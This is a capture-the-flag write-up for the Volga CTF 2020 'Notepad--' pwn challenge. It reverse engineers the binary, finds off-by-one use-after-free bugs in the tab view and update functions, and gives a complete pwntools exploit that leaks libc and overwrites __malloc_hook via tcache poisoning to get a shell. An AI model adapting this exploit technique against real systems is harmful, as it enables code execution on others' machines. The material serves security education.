Writeup: Volga CTF Quals 2020 - Notepad--

Information

  • category : pwn
  • points : 300

Description

Notepad– is the app to store your most private notes, with an extremely
lightweight UI. Check it out!

1 file: notepad

nc notepad.q.2020.volgactf.ru 45678

Writeup

1
2
3
4
5
6
7
8
9
10
$ file notepad
notepad: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, stripped

$ checksec --file=notepad
RELRO: FULL (No way to overwrite GOT to hijack functions)
STACK CANARY: YES (No easy way to do stack overflow)
NX: YES (No executable stack/heap)
PIE: YES (Address in the binary are randomized with ASLR)
FORTIFY: YES

64 bit ELF binary, all protections active, no useful symbols. We’re not given
the glibc used on the server, but we can try to guess it reading the strings of the binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ rabin2 -zz notepad
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000034 0x00000034 5 12 utf16le @8\t@\e
1 0x00000238 0x00000238 27 28 .interp ascii /lib64/ld-linux-x86-64.so.2
2 0x000004e9 0x000004e9 9 10 .dynstr ascii libc.so.6
3 0x000004f3 0x000004f3 14 15 .dynstr ascii __isoc99_scanf
[...]
22 0x00000593 0x00000593 9 10 .dynstr ascii GLIBC_2.7
23 0x0000059d 0x0000059d 9 10 .dynstr ascii GLIBC_2.4
24 0x000005a7 0x000005a7 11 12 .dynstr ascii GLIBC_2.2.5
[...]
84 0x00003010 0x00000000 40 41 .comment ascii GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
[...]

Probably the binary is using glibc 2.27 (default on ubuntu 18.04).

Let’s launch the binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
./notepad
Welcome to Notepad--
Pick an existing notebook or create a new one
[p]ick notebook
[a]dd notebook
[d]elete notebook
[l]ist notebook
[q]uit

> a
Enter notebook name: nb_1

Pick an existing notebook or create a new one
[p]ick notebook
[a]dd notebook
[d]elete notebook
[l]ist notebook
[q]uit

> a
Enter notebook name: nb_2

Pick an existing notebook or create a new one
[p]ick notebook
[a]dd notebook
[d]elete notebook
[l]ist notebook
[q]uit

> a
Enter notebook name: nb_3

Pick an existing notebook or create a new one
[p]ick notebook
[a]dd notebook
[d]elete notebook
[l]ist notebook
[q]uit

> d
Enter index of a notebook to delete: 2

Pick an existing notebook or create a new one
[p]ick notebook
[a]dd notebook
[d]elete notebook
[l]ist notebook
[q]uit

> l # we can deduce that it shifts the notebooks when it deletes them
List of notebooks:
[1] nb_1
[2] nb_3

Pick an existing notebook or create a new one
[p]ick notebook
[a]dd notebook
[d]elete notebook
[l]ist notebook
[q]uit

> p
Enter index of a notebook to pick: 1
Operations with notebook "nb_1"
[a]dd tab
[v]iew tab
[u]pdate tab
[d]elete tab
[l]ist tabs
[q]uit

> a
Enter tab name: tab_1
Enter data length (in bytes): 4
Enter the data: aaaa

Operations with notebook "nb_1"
[a]dd tab
[v]iew tab
[u]pdate tab
[d]elete tab
[l]ist tabs
[q]uit

> a
Enter tab name: tab_2
Enter data length (in bytes): 8
Enter the data: bbbbb

Operations with notebook "nb_1"
[a]dd tab
[v]iew tab
[u]pdate tab
[d]elete tab
[l]ist tabs
[q]uit

> l
List of tabs:
[1] tab_1
[2] tab_2

Operations with notebook "nb_1"
[a]dd tab
[v]iew tab
[u]pdate tab
[d]elete tab
[l]ist tabs
[q]uit

> v
Enter index of a tab to view: 1
aaaa
Operations with notebook "nb_1"
[a]dd tab
[v]iew tab
[u]pdate tab
[d]elete tab
[l]ist tabs
[q]uit

> d
Enter index of tab to delete: 2

Operations with notebook "nb_1"
[a]dd tab
[v]iew tab
[u]pdate tab
[d]elete tab
[l]ist tabs
[q]uit

> l
List of tabs:
[1] tab_1

Operations with notebook "nb_1"
[a]dd tab
[v]iew tab
[u]pdate tab
[d]elete tab
[l]ist tabs
[q]uit

> v # no error trying to view a tab deleted.
Enter index of a tab to view: 2

Operations with notebook "nb_1"
[a]dd tab
[v]iew tab
[u]pdate tab
[d]elete tab
[l]ist tabs
[q]uit

Now let’s open the binary with cutter.

This is the main menu decompiled with r2ghidra-dec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
void fcn.menu(void)
{
int64_t arg4;
undefined8 placeholder_1;
int64_t *placeholder_0;
int64_t in_FS_OFFSET;
int64_t var_90h;
int64_t var_8h;

var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
arg4 = 0x10;
placeholder_0 = &var_90h;
// garbage
while (arg4 != 0) {
arg4 = arg4 + -1;
*placeholder_0 = 0;
placeholder_0 = placeholder_0 + 1;
}
sym.imp.puts("Welcome to Notepad--");
do {
sym.imp.puts("Pick an existing notebook or create a new one");
sym.imp.puts("[p]ick notebook");
sym.imp.puts("[a]dd notebook");
sym.imp.puts("[d]elete notebook");
sym.imp.puts("[l]ist notebook");
sym.imp.puts("[q]uit\n");
sym.imp.printf(0x1a7e);
do {
do {
placeholder_0 = &var_90h;
placeholder_1 = 0x80;
sym.imp.fgets(placeholder_0, 0x80, _reloc.stdin);
} while ((char)var_90h == '\n');
} while ((char)var_90h == '\r');
// switch table (17 cases) at 0x1c54
switch((char)var_90h) {
case 'a':
fcn.add();
break;
case 'd':
fcn.delete(placeholder_0, placeholder_1,
(int64_t)*(int32_t *)((uint64_t)((int32_t)(char)var_90h - 0x61) * 4 + 0x1c54), arg4);
break;
case 'l':
fcn.list();
break;
case 'p':
fcn.pick();
break;
case 'q':
sym.imp.putchar(10);
if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
sym.imp.__stack_chk_fail();
}
return;
}
sym.imp.putchar(10);
} while( true );
}

Let’s start analyzing the add function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void fcn.add(void)
{
int64_t iVar1;
undefined8 book.notebooks.tabs;

if (_book.count == 0x10) {
puts("You\'ve reached the limit for notebooks! Delete some of the older once first!");
} else {
iVar1 = _book.count * 0x818;
_book.count = _book.count + 1;
printf("Enter notebook name: ");
__isoc99_scanf("%s", book.notebook + iVar1);
}
return;
}

Disassembly:

Basically we can add up to 16 notebook, and we can guess that each notebook is
0x818 = 2727 bytes long, so if we multiply the size of each notebook *
max numbers of notebook we know that the size of the book (collection of notebooks)
is 0x8180.

Wait, how do you defined in cutter book and notebooks?

To be able to defined the structure I used the Types windows of cutter and
from the Disassembly view I linked (Press L) the structure book to 0x203040.

Analyzing the program I defined three structures:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// we will cover later this one
struct tab {
char tab_name[16];
int64_t data_size;
char *data;
};
struct notebook {
char name_notebook[16];
int64_t count_tab;
struct tab tabs[64];
};
struct book {
int64_t count_notebooks;
char pad[24]; // padding, in the disassembly notebook
struct notebook notebooks[16];
};
// this is to make the decompiler happy
struct tab_off {
int64_t pad;
char tab_name;
int64_t dat_size;
char *data;
};

We can see them from the Disassembly view:

Now let’s move on to the other functions

fcn.delete:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void fcn.delete(undefined8 placeholder_0, undefined8 placeholder_1, undefined8 placeholder_2, int64_t arg4)
{
int64_t iVar1;
uint32_t uVar2;
int64_t iVar3;
undefined8 *puVar4;
undefined8 *puVar5;
int64_t in_FS_OFFSET;
uint8_t uVar6;
int32_t index;
int64_t index_buf;
int64_t var_8h;

uVar6 = 0;
iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
printf("Enter index of a notebook to delete: ");
fgets(&index_buf, 0x80, _reloc.stdin);
uVar2 = atoi(&index_buf);
index = uVar2 - 1;
if ((index < 0) || (_book.count_notebooks <= index)) {
printf("Wrong notebook index %d\n", (uint64_t)uVar2);
} else {
while ((int64_t)index < _book.count_notebooks + -1) {
// copy notebooks (shifting)
iVar3 = 0x103;
puVar4 = (undefined8 *)(book.notebook + (int64_t)(index + 1) * 0x818);
puVar5 = (undefined8 *)(book.notebook + (int64_t)index * 0x818);
while (iVar3 != 0) {
iVar3 = iVar3 + -1;
*puVar5 = *puVar4;
puVar4 = puVar4 + (uint64_t)uVar6 * 0x1ffffffffffffffe + 1;
puVar5 = puVar5 + (uint64_t)uVar6 * 0x1ffffffffffffffe + 1;
}
index = index + 1;
}
_book.count_notebooks = _book.count_notebooks + -1;
}
if (iVar1 == *(int64_t *)(in_FS_OFFSET + 0x28)) {
return;
}
// WARNING: Subroutine does not return
__stack_chk_fail();
}

fcn.list:

1
2
3
4
5
6
7
8
9
10
11
12
void fcn.list(void)
{
int64_t index;

puts("List of notebooks:");
index = 0;
while ((int32_t)index < _book.count_notebooks) {
printf("[%d] %s\n", (uint64_t)((int32_t)index + 1), book.notebook + (int64_t)(int32_t)index * 0x818);
index = (int32_t)index + 1;
}
return;
}

Ok so far so good, the decompiler is a little confused, but we can see that there
are various overflow inside the book structure "%s". Now we need to check the pick
functions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void fcn.pick(void)
{
int64_t iVar1;
uint32_t uVar2;
int32_t iVar3;
int64_t in_FS_OFFSET;
int64_t index_buf;
int64_t var_8h;

iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
printf("Enter index of a notebook to pick: ");
fgets(&index_buf, 0x80, _reloc.stdin);
uVar2 = atoi(&index_buf);
real_index = uVar2 - 1;
if ((real_index < 0) || (_book.count_notebooks <= real_index)) {
printf("Wrong notebook index %d\n", (uint64_t)uVar2);
} else {
fcn.pick_menu((notebook *)(book.notebook + (int64_t)real_index * 0x818));
}
if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}

It’s pretty simple, pick requires an index of a notebook (The notebook
list start at 1), and then it calls pick_menu:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
void fcn.pick_menu(notebook *arg1)
{
int64_t iVar1;
int64_t *piVar2;
int64_t in_FS_OFFSET;
int64_t var_98h;
int64_t var_90h;
int64_t var_8h;

var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
iVar1 = 0x10;
piVar2 = &var_90h;
while (iVar1 != 0) {
iVar1 = iVar1 + -1;
*piVar2 = 0;
piVar2 = piVar2 + 1;
}
do {
sym.imp.printf("Operations with notebook \"%s\"\n", arg1);
sym.imp.puts("[a]dd tab");
sym.imp.puts("[v]iew tab");
sym.imp.puts("[u]pdate tab");
sym.imp.puts("[d]elete tab");
sym.imp.puts("[l]ist tabs");
sym.imp.puts("[q]uit\n");
sym.imp.printf(0x1a7e);
do {
do {
sym.imp.fgets(&var_90h, 0x80, _reloc.stdin);
} while ((char)var_90h == '\n');
} while ((char)var_90h == '\r');
// switch table (22 cases) at 0x1a84
switch((char)var_90h) {
case 'a':
fcn.pick_add(arg1);
break;
case 'd':
fcn.pick_delete(arg1);
break;
case 'l':
fcn.pick_list(arg1);
break;
case 'q':
sym.imp.putchar(10);
if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
sym.imp.__stack_chk_fail();
}
return;
case 'u':
fcn.pick_update(arg1);
break;
case 'v':
fnc.pick_view(arg1);
}
sym.imp.putchar(10);
} while( true );
}

As usual we have a menu, but with more options, remember that all the pick_
functions have as parameter the pointer to the notebook chosen from pick.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void fcn.pick_add(notebook *arg1)
{
int64_t iVar1;
undefined8 uVar2;
tab *ptVar3;
int64_t in_FS_OFFSET;
notebook *notebook_ptr;
int64_t tab_name_1;
int64_t tab_name_2;
int64_t data_size;
int64_t data;
int64_t canary_cookie;

iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
// notebook->count_tab
if (arg1->tabs[0].data_size == 0x40) {
sym.imp.puts("You\'ve reached the limit of tabs! Delete some of the older tabs to add a new one!");
} else {
sym.imp.printf("Enter tab name: ");
sym.imp.__isoc99_scanf(str._s, &tab_name_1);
sym.imp.printf("Enter data length (in bytes): ");
sym.imp.__isoc99_scanf(str._ld, &data_size);
sym.imp.printf("Enter the data: ");
uVar2 = sym.imp.malloc(data_size);
sym.imp.read(0, uVar2, data_size);
// rdx = notebook_ptr->count_tab
// rdx = count_tab * 32
// rax = notebook_ptr+(count_tab * 32), aligned with tab_name[8]
ptVar3 = arg1->tabs + arg1->tabs[0].data_size;
// rcx = netbook_ptr->tabs[count_tab-1].data
// rcx + 8 = next_tab
// next_tab->tab_name = tab_name_1 + tab_name_2
*(int64_t *)(ptVar3->tab_name + 0x18) = tab_name_1;
*(int64_t *)(ptVar3->tab_name + 0x20) = tab_name_2;
// next_tab->data_size = data_size
*(int64_t *)(ptVar3->tab_name + 0x28) = data_size;
// next_tab->data = data
*(undefined8 *)(ptVar3->tab_name + 0x30) = uVar2;
// notebook_ptr->count_tab++;
arg1->tabs[0].data_size = arg1->tabs[0].data_size + 1;
}
if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
sym.imp.__stack_chk_fail();
}
return;
}

Ok here there are troubles, the decompiler doesn’t decompile correctly the function.
But we can understand the code from the disassembly:

Basically the decompiler doesn’t recognize correctly the structure. One thing to
keep in mind is that each tab of the notebook is 32 bytes large (shl rdx, 5) and
that the compiler to align correctly the structures always does a *32 + 0x10 + 8.

Why?

In memory the structure is:

1
2
3
4
5
6
7
8
9
10
11
12
                            memory addr
char name_notebook[16] | 16 0x10
int64_t count_tab | 24
char tab_name[16] | 40
int64_t data_size | 48
char *data | 56
chat tab_name[16] | 72
int64_t data_size | 80
char *data | 88
chat tab_name[16] | 104
int64_t data_size | 112
char *data | 120

So if we take the start address and add 32 * count we end up in the middle of
tab_name (tab_name[8]), then the program add 0x10 to go into the data of a tab,
and then it start adding stuff to the next tab using an offset of 8 (this compilation sucks).

Disassembly code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
0x00000b34      lea rdi, str.Enter_tab_name: ; 0x18ca ; "Enter tab name: " ; const char *format
0x00000b3b mov eax, 0
0x00000b40 call sym.imp.printf ; int printf(const char *format)
0x00000b45 lea rax, [tab_name_1]
0x00000b49 mov rsi, rax
0x00000b4c lea rdi, str._s ; 0x18db ; "%s" ; const char *format
0x00000b53 mov eax, 0
0x00000b58 call sym.imp.__isoc99_scanf ; int scanf(const char *format)
0x00000b5d lea rdi, str.Enter_data_length__in_bytes_: ; 0x18e0 ; "Enter data length (in bytes): " ; const char *format
0x00000b64 mov eax, 0
0x00000b69 call sym.imp.printf ; int printf(const char *format)
0x00000b6e lea rax, [tab_name_1]
0x00000b72 add rax, 0x10
0x00000b76 mov rsi, rax
0x00000b79 lea rdi, str._ld ; 0x18ff ; "%ld" ; const char *format
0x00000b80 mov eax, 0
0x00000b85 call sym.imp.__isoc99_scanf ; int scanf(const char *format)
0x00000b8a lea rdi, str.Enter_the_data: ; 0x1903 ; "Enter the data: " ; const char *format
0x00000b91 mov eax, 0
0x00000b96 call sym.imp.printf ; int printf(const char *format)
0x00000b9b mov rax, qword [data_size]
0x00000b9f mov rdi, rax ; size_t size
0x00000ba2 call sym.imp.malloc ; void *malloc(size_t size)
0x00000ba7 mov qword [data], rax
0x00000bab mov rax, qword [data_size]
0x00000baf mov rdx, rax ; size_t nbyte
0x00000bb2 mov rax, qword [data]
0x00000bb6 mov rsi, rax ; void *buf
0x00000bb9 mov edi, 0 ; int fildes
0x00000bbe call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
0x00000bc3 mov rax, qword [notebook_ptr]
0x00000bc7 mov rdx, qword [rax + 0x10] ; rdx = notebook_ptr->count_tab
0x00000bcb mov rax, qword [notebook_ptr]
0x00000bcf shl rdx, 5 ; rdx = count_tab * 32
0x00000bd3 add rax, rdx ; rax = notebook_ptr+(count_tab * 32), aligned with tab_name[8]
0x00000bd6 lea rcx, [rax + 0x10] ; rcx = netbook_ptr->tabs[count_tab-1].data
0x00000bda mov rax, qword [tab_name_1]
0x00000bde mov rdx, qword [tab_name_2]
0x00000be2 mov qword [rcx + 8], rax
; rcx + 8 = next_tab
; next_tab->tab_name = tab_name_1 + tab_name_2
0x00000be6 mov qword [rcx + 0x10], rdx
0x00000bea mov rax, qword [data_size]
0x00000bee mov rdx, qword [data]
0x00000bf2 mov qword [rcx + 0x18], rax ; next_tab->data_size = data_size
0x00000bf6 mov qword [rcx + 0x20], rdx ; next_tab->data = data
0x00000bfa mov rax, qword [notebook_ptr]
mov rax, qword [rax + 0x10]
0x00000c02 lea rdx, [rax + 1] ; notebook_ptr->count_tab++;
0x00000c06 mov rax, qword [notebook_ptr]
0x00000c0a mov qword [rax + 0x10], rdx
0x00000c0e mov rax, qword [canary_cookie]
0x00000c12 xor rax, qword fs:[0x28]
0x00000c1b je 0xc22
0x00000c1d call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
0x00000c22 leave
0x00000c23 ret

So it’s pretty obvious that the decompiler is confused, we can fix the decompiler
view using a fake tab struct:

1
2
3
4
5
6
7
8
9
10
11
struct notebook {
char name_notebook[16];
int64_t count_tab;
struct tab_off tabs[64];
};
struct tab_off {
int64_t pad;
char tab_name;
int64_t dat_size;
char *data;
};

However I opted to leave the things as they are in the disassembly.

This is the cleaner version of add:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void fcn.pick_add(notebook *arg1)
{
int64_t iVar1;
undefined8 uVar2;
tab *ptVar3;
int64_t in_FS_OFFSET;
notebook *notebook_ptr;
int64_t tab_name;
int64_t data_size;
int64_t data;
int64_t canary_cookie;

iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
if (notebook_ptr->count_tab == 0x40) {
puts("You\'ve reached the limit of tabs! Delete some of the older tabs to add a new one!");
} else {
printf("Enter tab name: ");
__isoc99_scanf("%s", &tab_name);
printf("Enter data length (in bytes): ");
__isoc99_scanf("%ld", &data_size);
printf("Enter the data: ");
data = malloc(data_size);
read(0, data, data_size);
next_tab = notebook_ptr->tabs[notebook_ptr->count_tab];
next_tab->tab_name = tab_name;
next_tab->data_size = data_size;
next_tab->data = data
notebook_ptr->count_tab++;
}
if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}

Clean version of pick_delete:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void fcn.pick_delete(notebook *arg1)
{
tab *ptVar3;
tab *ptVar4;
int64_t in_FS_OFFSET;
int64_t notebook_ptr;

var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
iVar5 = 0x10;
piVar6 = &index_buffer;
printf("Enter index of tab to delete: ");
fgets(&index_buffer, 0x80, _reloc.stdin);
uVar2 = atoi(&index_buffer);
real_index = uVar2 - 1;
if ((real_index < 0) || (notebook_ptr->count_tab <= real_index)) {
printf("Wrong tab index %d\n", (uint64_t)uVar2);
} else {
free(notebook_ptr->tabs[real_index].data);
while (real_index < notebook_ptr->count_tab -1) {
/*
this block shift tabs
ptVar3 = arg1->tabs + var_a0h;
ptVar4 = arg1->tabs + (var_a0h + 1);
uVar1 = *(undefined8 *)(ptVar4->tab_name + 0x20);
*(undefined8 *)(ptVar3->tab_name + 0x18) = *(undefined8 *)(ptVar4->tab_name + 0x18);
*(undefined8 *)(ptVar3->tab_name + 0x20) = uVar1;
uVar1 = *(undefined8 *)(ptVar4->tab_name + 0x30);
*(undefined8 *)(ptVar3->tab_name + 0x28) = *(undefined8 *)(ptVar4->tab_name + 0x28);
*(undefined8 *)(ptVar3->tab_name + 0x30) = uVar1;
*/
shift_tabs();
real_index = real_index + 1;
}
notebook_ptr->count_tab--;
}
if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}

No null pointer after free, possible UAF.

Cleaner version of pick_view:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void fnc.pick_view(notebook *arg1)
{
int64_t notebook_ptr = arg1;
printf("Enter index of a tab to view: ");
fgets(&index_buffer, 0x80, _reloc.stdin);
uVar2 = atoi(&index_buffer);
real_index = uVar2 - 1;
if ((real_index < 0) || (notebook_ptr->count_tab < real_index)) {
printf("Wrong tab index %d\n", (uint64_t)uVar2);
} else {
write(1, notebook_ptr->tabs[real_index].data, notebook_ptr->tabs[real_index].data_size);
}
if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}

Here there is a possible UAF (read primitive). Suppose that we have two tabs,
and then we delete the second one so it triggers the free on data. Now if we try
to view the second tab I send to pick_view index = 2, so it computes as
real_index = 1. The counter of tabs is 1, so it checks:

if(notebook_ptr->count_tab < real_index) = if (1 < 1), which is false and so
we can read a freed block.

Cleaner version of pick_update:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void fcn.pick_update(char *arg1)
{
printf("Enter index of tab to update: ");
// buffer
fgets(&buffer, 0x80, _reloc.stdin);
uVar1 = atoi(&buffer);
real_index = uVar1 - 1;
if ((real_index < 0) || (notebook_ptr->count_tab < real_index)) {
printf("Wrong tab index %d\n", uVar1);
} else {
notebook_ptr = notebook_ptr + (int64_t)real_index * 0x20;
printf("Enter new tab name (leave empty to skip): ");
fgets(&tab_name, 0x80, _reloc.stdin);
len_tab_name = strlen(&tab_name);
if (1 < real_index) {
tab_name[len_tab_name - 1] = 0;
strncpy(notebook_ptr->tab_name, &tab_name, 0x10);
}
printf("Enter new data length (leave empty to keep the same): ");
fgets(&data_len, 0x80, _reloc.stdin);
data_size_len = strlen(&data_len);
if (1 < data_size_len) {
data_size = atol(&data_len);
if (data_size != (notebook_ptr->tabs[real_index].data_size) {
notebook_ptr->tabs[real_index].data_size = data_size;
free(notebook_ptr->tabs[real_index].data);
new_data = malloc(notebook_ptr->tabs[real_index].data_size);
notebook_ptr->tabs[real_index].data = new_data;
}
}
printf("Enter the data: ");
read(0, notebook_ptr->tabs[real_index].data, notebook_ptr->tabs[real_index].data_size);
}
if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}

And here it is another off by one bug, in this case we can achieve a UAF
(write primitive), because as before it checks the counter with < instead of <=.

Attack

Before attacking the binary is a good idea to export the symbols to the binary,
to do that I used syms2elf. You need
to save the cutter project, and then:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
$ r2 notepad
-- Use V! to enter into the visual panels mode (dwm style)
[0x000009f0]> Po volga-ctf-notepad # open the project
Close current session? (Y/n) Y
eco: cannot open colorscheme profile (/home/meowmeow/CTF/volga/pwn/notepad/ayu)
afc: Unknown calling convention 'amd64' for 'linux'
See afcl for available types
[0x00000ab0]> $syms2elf notepad-syms
Exporting symbols to ELF...
ELF saved to: notepad-syms
[0x00000ab0]> afl
0x000009f0 1 42 entry0
0x000008f0 1 6 sym.imp.free
0x00000900 1 6 sym.imp.putchar
0x00000910 1 6 sym.imp.strncpy
0x00000920 1 6 sym.imp.puts
0x00000930 1 6 sym.imp.write
0x00000940 1 6 sym.imp.strlen
0x00000950 1 6 sym.imp.__stack_chk_fail
0x00000960 1 6 sym.imp.printf
0x00000970 1 6 sym.imp.read
0x00000000 3 459 -> 452 loc.imp._ITM_deregisterTMCloneTable
0x00000980 1 6 sym.imp.fgets
0x00000990 1 6 sym.imp.malloc
0x000009a0 1 6 sym.imp.setvbuf
0x000009b0 1 6 sym.imp.atol
0x000009c0 1 6 sym.imp.atoi
0x000009d0 1 6 sym.imp.__isoc99_scanf
0x000017b1 1 62 main
0x00000af0 5 154 -> 67 y.init0
0x00000ab0 5 58 -> 51 entry.fini0
0x00000a20 4 50 -> 40 fcn.00000a20
0x00001166 4 108 fcn.pick_list
0x00001442 4 117 fcn.add
0x000015ed 4 101 fcn.list
0x000008c0 3 23 fcn.000008c0
0x00001d2f 6 83 -> 94 fcn.00001d2f
0x00000afa 6 298 fcn.pick_add
0x00000c24 7 298 fcn.pick_view
0x00000d4e 12 614 fcn.pick_update
0x00000fb4 10 434 fcn.pick_delete
0x000011d2 17 414 000011d2
0x00001370 7 210 fcn.pick
0x000014b7 10 310 fcn.delete
0x00001652 16 351 00001652

This is very useful, because the binary is not PIE, so we can’t set arbitrary
breakpoint when debugging (now we can).

To debug the binary I used ubutu 18.04 in VM.

The attack is very simple:

  1. Leak a libc address using a UAF (read).
  2. Write inside a free list (tcache) the address of malloc_hook.
  3. Send as data the address of one_gadget.
  4. Trigger another malloc.

To leak a libc address we can simply allocate 9 chunks of 0x80 bytes (the 9th
is used to not consolidate the 8th chunk with the top chunk once it’s freed),
and then free 8 of them.

The first 7 will go into the tcache, and the seventh will go into the unsorted
bin.

Why 0x80 ?

Because if not, the 8th freed chunk will go into the fastbin which has only a
forward pointer since it’s used as a LIFO list. The unsorted bin instead
is managed with a double circular linked list and the first element has a backward
pointer to the main_arena, and the main_arena (opposed to the other possible thread
arenas source code)
is inside the libc.

Now if we read the 8th freed chunk we get that backward pointer and from it we
can compute where malloc_hook and one_gadget are in memory.

Let’s do the first part:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3

from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def pick(index):
p.sendlineafter('> ', 'p')
p.readuntil(': ')
p.sendline(str(index))

def add(name):
p.sendlineafter('> ', 'a')
p.sendlineafter(': ', name)

def delete(index):
p.sendlineafter('> ', 'd')
p.sendlineafter(': ', str(index))

def list_nb():
p.sendline('> ', 'l')

def pick_add(name, data):
p.sendlineafter('> ', 'a')
p.readuntil(': ')
p.sendline(name)
p.readuntil(': ')
p.sendline(str(len(data)))
p.readuntil(': ')
p.sendline(data)

def pick_view(index):
p.sendlineafter('>', 'v')
p.readuntil(': ')
p.sendline(str(index))
return p.read(8)

def pick_update(index, name, data):
p.sendlineafter('> ', 'u')
p.sendlineafter(': ', str(index))
p.sendlineafter(': ', name)
p.sendlineafter(': ', str(len(data)))
p.sendlineafter(': ', data)

def pick_delete(index):
p.sendlineafter('> ', 'd')
p.sendlineafter(': ', str(index))

def pick_list():
p.sendline('> ', 'l')

def pick_quit():
p.sendline('> ', 'q')


p = gdb.debug('./notepad-syms', 'b tab_view')
#p = remote('notepad.q.2020.volgactf.ru', 45678)

context.log_level = 'DEBUG'

add("first_nb")
pick(1)

for i in range(9):
pick_add("aaaa", chr(ord("A") + i) * 0x80)

for i in range(9, 1, -1):
pick_delete(i)

main_arena_96 = u64(pick_view(2)[:8])
log.info(f"main_arena_+96: {hex(main_arena_96)}")

This is right before the print of the content of the tab:

As we can see it prints an address of the main_arena, let’s check the bins:

Then if we check what is around the leak address, we can spot the malloc_hook which
is at the address main_arena_+96 - 112

Now we can compute all the addresses in the libc:

1
2
3
4
malloc_hook = main_arena_96 - 112
# base address
libc.address = malloc_hook - libc.symbols['__malloc_hook']
one_gadget = libc.address + 0x10a38c

Now we need to clean out the tcache so:

1
2
for i in range(8):
pick_add("bbbb", chr(ord("A") + i) * 0x80)

So now we have 9 tabs, we add one more tab with size 8, we free it and then we overwrite
the data of the last freed tab with malloc_hook.

Bins before the update.

Bins after the udpate.

Now we add two more tabs, and the second one will have as address of data
the address of malloc_hook, we write in it the address of one_gadget.
At the next malloc, malloc_hook will be triggered
and we will get a shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
pick_add("cccc", "S" * 0x8)

pick_delete(10)
# UAF write next tcache entry on malloc_hook
pick_update(10, 'dddd', p64(malloc_hook))
log.info("malloc_hook injected")
# This is just the first tcache entry
pick_add("fake", "E" * 8)
# This returns as data address the malloc_hook, overwrite it with one_gadget
pick_add("one_gadget", p64(one_gadget))
log.info("one_gadget plugged in")
pick_add("get shell", "F" * 8)
p.interactive()

Launch the exploit and…

Yeah got the flag.

Exploit

